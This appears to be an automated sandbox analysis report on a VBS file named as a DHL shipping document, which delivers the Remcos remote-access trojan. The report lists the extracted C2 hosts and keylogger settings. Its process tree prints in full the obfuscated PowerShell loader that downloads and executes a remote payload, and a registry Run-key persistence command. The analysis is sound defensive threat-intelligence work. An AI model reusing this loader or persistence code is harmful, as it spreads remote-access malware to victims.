Analysis

  • max time kernel
    152s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/07/2024, 14:18

General

  • Target
    DHL Shipping Document Awb & BL.vbs
  • Size 22KB
  • Sample240701-rl9myswdle
  • SHA256 bde3493e67a6088d2d265ca765e9aba6f98cc45eb933d5f00f498ffac84711a3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • XXL

C2
  • janbours92harbu02.duckdns.org:3980

  • janbours92harbu02.duckdns.org:3981

  • janbours92harbu03.duckdns.org:3980

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    kpburtts.dat

  • keylog_flag

    false

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    jmoughoe-DMPW3B

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL Shipping Document Awb & BL.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Stumpnser Midernes Fugtighedscremerne tilkaldte Lancinated Territorializations Feest Digammate Fattigfint dossiers Konvojeredes Rudyard Filmologerne Tandpiner Griqua Augustly Pantningens Univalve Scalping Spectromicroscopical Autoklaveringerne Hjlpeprsters Brotherlike Inflationr Stumpnser Midernes Fugtighedscremerne tilkaldte Lancinated Territorializations Feest Digammate Fattigfint dossiers Konvojeredes Rudyard Filmologerne Tandpiner Griqua Augustly Pantningens Univalve Scalping Spectromicroscopical Autoklaveringerne Hjlpeprsters Brotherlike Inflationr';If (${host}.CurrentCulture) {$Anthranyl++;}Function Brandmyndighederne($Emblemers){$eventyrroman=$Emblemers.Length-$Anthranyl;$Hawsing='SUBsTRI';$Hawsing+='ng';For( $Daghesh=1;$Daghesh -lt $eventyrroman;$Daghesh+=2){$Stumpnser+=$Emblemers.$Hawsing.Invoke( $Daghesh, $Anthranyl);}$Stumpnser;}function Opdateringsprogrammet($Etruscan){ & ($Androlepsia) ($Etruscan);}$Garvin=Brandmyndighederne 'AM.o zCi,l,lFaI/H5 .R0B ,( W i.n,dSoLw sM ,N T. 1.0A.A0 ;F AW i nU6.4,;. Nx 6 4B;S TrTv : 1 2S1 . 0 )V SGPe cVkIoT/B2 0I1S0R0 1,0I1T SF iOr eSfTo,xH/C1U2 1 .B0 ';$Maltreated=Brandmyndighederne '.URs e rC-KA g.e,n tI ';$Lancinated=Brandmyndighederne 'Oh t,t pPs :B/H/,c o.nMtAe mSeRg as..cToWm .JdUo./sN e dVsTlJa gpn iSnSgAs.. dSwOpS>Kh t tsp s :P/,/Pm o,vBiDe sRmOa cRk t a,lHkB.Rc o mS/,N.eOdHsUlOaSgCnFi.nBg s,.,dSwGp ';$shrugging=Brandmyndighederne 'S> ';$Androlepsia=Brandmyndighederne '.iYe.xr ';$Trendies='Digammate';$Debarrance = Brandmyndighederne 'AeBc.hSoG %Ba p pFdPaWtoa %O\AP.r oGs kgr i.b.eXr eNsK.,BUectT &C&, e c hSoT Kt ';Opdateringsprogrammet (Brandmyndighederne ' $,g l,o.b.aHl,: s.a.l g,s.e nEh,eFdMe,rHsD=P( c mRds K/ cC ,$mD e,b,aVr rAa,n cAeS) ');Opdateringsprogrammet (Brandmyndighederne ',$Rgiluo b aCl,:itRi l kPaUl.dTt,eS=.$PLAaBn c,iSn.aRtLe dT.isKp lRi t.(,$,sFh,rGuNgTgVi nMgS)F ');Opdateringsprogrammet (Brandmyndighederne ' [BNFeAtE. S ecr v,iTc.e.P,o iSnPtVMFaDn,aBgFe rJ]h: : S eBcGu,rti tSyuPNr oPtuoPcVoSl A= T[CN eFtL. SMe,c.usr,iEt,ySP r,oStSo cSoIlSTEy pSe ],:V: T lTsU1E2. ');$Lancinated=$tilkaldte[0];$Acupressure= (Brandmyndighederne 'S$Ag,l o.bGaPlS:SSKoAm mHeDr,f,uOgDl e,n eGtftCeCt,s = NMe.wS- OTbSj,eGc tS .SByRs tCeTms.INseAt .,WIeDbKCclIi eDn t');$Acupressure+=$salgsenheders[1];Opdateringsprogrammet ($Acupressure);Opdateringsprogrammet (Brandmyndighederne 'D$SSSo mFmSe r fEu gRlSeKnSe t tAeHtHs .,H e a,dCeBr s [B$MMFaHl.t.r,e a t e d,]H=D$ GEa rAvRiRnT ');$Nourishments=Brandmyndighederne 'P$kSCoGmLmOeEr fFu,g lUe.nSe t t eOtOss.FD.o w nFl oSa d F.iUlTe ( $ L a,nKc i nEa tFeSd., $ HRj.l p.e pmr sJtFeAr.s ), ';$Hjlpeprsters=$salgsenheders[0];Opdateringsprogrammet (Brandmyndighederne '.$Kg,lOo b.a lS:BAvshp e.r.sSiAo,nTs 2 3,=.(STCeUs tK-BPNart.h S$IH jMlAp,e p r,s,t e,rMs )K ');while (!$Aspersions23) {Opdateringsprogrammet (Brandmyndighederne ' $Eg l oAbTaUli: BCa.nodTh.oUoFk =H$ tDr u eP ') ;Opdateringsprogrammet $Nourishments;Opdateringsprogrammet (Brandmyndighederne ' SBtFa,r tS-TS l.eSeUp 4L ');Opdateringsprogrammet (Brandmyndighederne ' $.gPl o,bMa,l,: A.s,p eTrAsii.oPn s,2,3 =H(ST eBsFtS-PPAa t hi H$RH,j lBp eVp rSsPtse rBs ), ') ;Opdateringsprogrammet (Brandmyndighederne 'E$OgCl o.b aLl.:AFPu,gFtUi gUh e,dMsHcFr eYmFeSrPnReP= $UgKl.oFbIaSlC:.MIiUd eArRnFe.sF+ + %,$.t iFl kVa,l dStIeP. cTo uSnAtO ') ;$Lancinated=$tilkaldte[$Fugtighedscremerne];}$Spidskandidaternes=331099;$Amphitoky=27737;Opdateringsprogrammet (Brandmyndighederne 'D$,g lPoFbSa l :DFMa,t,t i,gUfBiBn t O=. KGFe,tI-FCBo n.tAe.n t. ,$MHMjSl,pVeSpAr.s t.e.r.sD ');Opdateringsprogrammet (Brandmyndighederne 'A$ gSlRo b.aSl.:.O rUaBt o r iKcAaUlSlEyg T=G L[JSVy s tSeRmE.iC.o.nCv eHrAtF] :.:FF r o mIB a.s eP6O4 SFt r i,n g.( $ FIaht.t,iTgAf i.nTts)H ');Opdateringsprogrammet (Brandmyndighederne 'R$GgBl oTbta lJ:.RSu d yKaSrbdB =O F[PSCy.sFtVeEm,. T e.x.t . E n c,oAd,i nTg ].:,:LA,SBCUI,Im.EG ert S tYrSi,n,gu( $ O rAa tTo,r iLc a.lslMyD)e ');Opdateringsprogrammet (Brandmyndighederne 'F$Tg.l,oLbEa lZ:FB e sTt iBlSl e rF=.$,RTuRdHy a r,dF.Fs.u,bUs,tUrCi nNg,(D$.S p,i,d s,kFaMnPdei,dDa t e r nEe.sN,F$KAEm p h.iBt o.k,yE)T ');Opdateringsprogrammet $Bestiller;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3432
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Proskriberes.Bet && echo t"
        3⤵
          PID:4800
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Stumpnser Midernes Fugtighedscremerne tilkaldte Lancinated Territorializations Feest Digammate Fattigfint dossiers Konvojeredes Rudyard Filmologerne Tandpiner Griqua Augustly Pantningens Univalve Scalping Spectromicroscopical Autoklaveringerne Hjlpeprsters Brotherlike Inflationr Stumpnser Midernes Fugtighedscremerne tilkaldte Lancinated Territorializations Feest Digammate Fattigfint dossiers Konvojeredes Rudyard Filmologerne Tandpiner Griqua Augustly Pantningens Univalve Scalping Spectromicroscopical Autoklaveringerne Hjlpeprsters Brotherlike Inflationr';If (${host}.CurrentCulture) {$Anthranyl++;}Function Brandmyndighederne($Emblemers){$eventyrroman=$Emblemers.Length-$Anthranyl;$Hawsing='SUBsTRI';$Hawsing+='ng';For( $Daghesh=1;$Daghesh -lt $eventyrroman;$Daghesh+=2){$Stumpnser+=$Emblemers.$Hawsing.Invoke( $Daghesh, $Anthranyl);}$Stumpnser;}function Opdateringsprogrammet($Etruscan){ & ($Androlepsia) ($Etruscan);}$Garvin=Brandmyndighederne 'AM.o zCi,l,lFaI/H5 .R0B ,( W i.n,dSoLw sM ,N T. 1.0A.A0 ;F AW i nU6.4,;. Nx 6 4B;S TrTv : 1 2S1 . 0 )V SGPe cVkIoT/B2 0I1S0R0 1,0I1T SF iOr eSfTo,xH/C1U2 1 .B0 ';$Maltreated=Brandmyndighederne '.URs e rC-KA g.e,n tI ';$Lancinated=Brandmyndighederne 'Oh t,t pPs :B/H/,c o.nMtAe mSeRg as..cToWm .JdUo./sN e dVsTlJa gpn iSnSgAs.. dSwOpS>Kh t tsp s :P/,/Pm o,vBiDe sRmOa cRk t a,lHkB.Rc o mS/,N.eOdHsUlOaSgCnFi.nBg s,.,dSwGp ';$shrugging=Brandmyndighederne 'S> ';$Androlepsia=Brandmyndighederne '.iYe.xr ';$Trendies='Digammate';$Debarrance = Brandmyndighederne 'AeBc.hSoG %Ba p pFdPaWtoa %O\AP.r oGs kgr i.b.eXr eNsK.,BUectT &C&, e c hSoT Kt ';Opdateringsprogrammet (Brandmyndighederne ' $,g l,o.b.aHl,: s.a.l g,s.e nEh,eFdMe,rHsD=P( c mRds K/ cC ,$mD e,b,aVr rAa,n cAeS) ');Opdateringsprogrammet (Brandmyndighederne ',$Rgiluo b aCl,:itRi l kPaUl.dTt,eS=.$PLAaBn c,iSn.aRtLe dT.isKp lRi t.(,$,sFh,rGuNgTgVi nMgS)F ');Opdateringsprogrammet (Brandmyndighederne ' [BNFeAtE. S ecr v,iTc.e.P,o iSnPtVMFaDn,aBgFe rJ]h: : S eBcGu,rti tSyuPNr oPtuoPcVoSl A= T[CN eFtL. SMe,c.usr,iEt,ySP r,oStSo cSoIlSTEy pSe ],:V: T lTsU1E2. ');$Lancinated=$tilkaldte[0];$Acupressure= (Brandmyndighederne 'S$Ag,l o.bGaPlS:SSKoAm mHeDr,f,uOgDl e,n eGtftCeCt,s = NMe.wS- OTbSj,eGc tS .SByRs tCeTms.INseAt .,WIeDbKCclIi eDn t');$Acupressure+=$salgsenheders[1];Opdateringsprogrammet ($Acupressure);Opdateringsprogrammet (Brandmyndighederne 'D$SSSo mFmSe r fEu gRlSeKnSe t tAeHtHs .,H e a,dCeBr s [B$MMFaHl.t.r,e a t e d,]H=D$ GEa rAvRiRnT ');$Nourishments=Brandmyndighederne 'P$kSCoGmLmOeEr fFu,g lUe.nSe t t eOtOss.FD.o w nFl oSa d F.iUlTe ( $ L a,nKc i nEa tFeSd., $ HRj.l p.e pmr sJtFeAr.s ), ';$Hjlpeprsters=$salgsenheders[0];Opdateringsprogrammet (Brandmyndighederne '.$Kg,lOo b.a lS:BAvshp e.r.sSiAo,nTs 2 3,=.(STCeUs tK-BPNart.h S$IH jMlAp,e p r,s,t e,rMs )K ');while (!$Aspersions23) {Opdateringsprogrammet (Brandmyndighederne ' $Eg l oAbTaUli: BCa.nodTh.oUoFk =H$ tDr u eP ') ;Opdateringsprogrammet $Nourishments;Opdateringsprogrammet (Brandmyndighederne ' SBtFa,r tS-TS l.eSeUp 4L ');Opdateringsprogrammet (Brandmyndighederne ' $.gPl o,bMa,l,: A.s,p eTrAsii.oPn s,2,3 =H(ST eBsFtS-PPAa t hi H$RH,j lBp eVp rSsPtse rBs ), ') ;Opdateringsprogrammet (Brandmyndighederne 'E$OgCl o.b aLl.:AFPu,gFtUi gUh e,dMsHcFr eYmFeSrPnReP= $UgKl.oFbIaSlC:.MIiUd eArRnFe.sF+ + %,$.t iFl kVa,l dStIeP. cTo uSnAtO ') ;$Lancinated=$tilkaldte[$Fugtighedscremerne];}$Spidskandidaternes=331099;$Amphitoky=27737;Opdateringsprogrammet (Brandmyndighederne 'D$,g lPoFbSa l :DFMa,t,t i,gUfBiBn t O=. KGFe,tI-FCBo n.tAe.n t. ,$MHMjSl,pVeSpAr.s t.e.r.sD ');Opdateringsprogrammet (Brandmyndighederne 'A$ gSlRo b.aSl.:.O rUaBt o r iKcAaUlSlEyg T=G L[JSVy s tSeRmE.iC.o.nCv eHrAtF] :.:FF r o mIB a.s eP6O4 SFt r i,n g.( $ FIaht.t,iTgAf i.nTts)H ');Opdateringsprogrammet (Brandmyndighederne 'R$GgBl oTbta lJ:.RSu d yKaSrbdB =O F[PSCy.sFtVeEm,. T e.x.t . E n c,oAd,i nTg ].:,:LA,SBCUI,Im.EG ert S tYrSi,n,gu( $ O rAa tTo,r iLc a.lslMyD)e ');Opdateringsprogrammet (Brandmyndighederne 'F$Tg.l,oLbEa lZ:FB e sTt iBlSl e rF=.$,RTuRdHy a r,dF.Fs.u,bUs,tUrCi nNg,(D$.S p,i,d s,kFaMnPdei,dDa t e r nEe.sN,F$KAEm p h.iBt o.k,yE)T ');Opdateringsprogrammet $Bestiller;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2512
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Proskriberes.Bet && echo t"
            4⤵
              PID:3520
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:1184
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "gstes" /t REG_EXPAND_SZ /d "%Udvalgenes215% -w 1 $Kofta=(Get-ItemProperty -Path 'HKCU:\Fiberstof\').Ufuldkommenheds;%Udvalgenes215% ($Kofta)"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4240
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "gstes" /t REG_EXPAND_SZ /d "%Udvalgenes215% -w 1 $Kofta=(Get-ItemProperty -Path 'HKCU:\Fiberstof\').Ufuldkommenheds;%Udvalgenes215% ($Kofta)"
                  6⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:2696
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3856 --field-trial-handle=2692,i,8678872182442199182,12502579059484928042,262144 --variations-seed-version /prefetch:8
        1⤵
          PID:3300

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              __PSScriptPolicyTest_45kkc1lz.tcd.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_45kkc1lz.tcd.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              Proskriberes.Bet

              • Path C:\Users\Admin\AppData\Roaming\Proskriberes.Bet
              • Size 467KB
              • SHA256 5595275fb9355e5017a7033452db54826c0ef829573b16eaf4e30e32473b903b
              • MD5 SHA1 SHA512 SSDEEP

              memory/1184-51-0x00000000024D0000-0x000000000579A000-memory.dmp

              memory/1184-49-0x0000000001270000-0x00000000024C4000-memory.dmp

              memory/2512-22-0x0000000005F20000-0x0000000005F86000-memory.dmp

              memory/2512-34-0x00000000067A0000-0x00000000067EC000-memory.dmp

              memory/2512-16-0x0000000002C70000-0x0000000002CA6000-memory.dmp

              memory/2512-17-0x0000000005710000-0x0000000005D38000-memory.dmp

              memory/2512-42-0x00000000091C0000-0x000000000C48A000-memory.dmp

              memory/2512-39-0x0000000008C10000-0x00000000091B4000-memory.dmp

              memory/2512-20-0x0000000005DF0000-0x0000000005E12000-memory.dmp

              memory/2512-21-0x0000000005EB0000-0x0000000005F16000-memory.dmp

              memory/2512-38-0x0000000007960000-0x0000000007982000-memory.dmp

              memory/2512-28-0x0000000006090000-0x00000000063E4000-memory.dmp

              memory/2512-33-0x00000000066B0000-0x00000000066CE000-memory.dmp

              memory/2512-37-0x0000000007A00000-0x0000000007A96000-memory.dmp

              memory/2512-35-0x0000000007FE0000-0x000000000865A000-memory.dmp

              memory/2512-36-0x0000000006C30000-0x0000000006C4A000-memory.dmp

              memory/3432-13-0x00007FF8A1700000-0x00007FF8A21C1000-memory.dmp

              memory/3432-0-0x00007FF8A1703000-0x00007FF8A1705000-memory.dmp

              memory/3432-19-0x00007FF8A1700000-0x00007FF8A21C1000-memory.dmp

              memory/3432-12-0x00007FF8A1700000-0x00007FF8A21C1000-memory.dmp

              memory/3432-18-0x00007FF8A1703000-0x00007FF8A1705000-memory.dmp

              memory/3432-11-0x00007FF8A1700000-0x00007FF8A21C1000-memory.dmp

              memory/3432-6-0x00000221515F0000-0x0000022151612000-memory.dmp

              memory/3432-54-0x00007FF8A1700000-0x00007FF8A21C1000-memory.dmp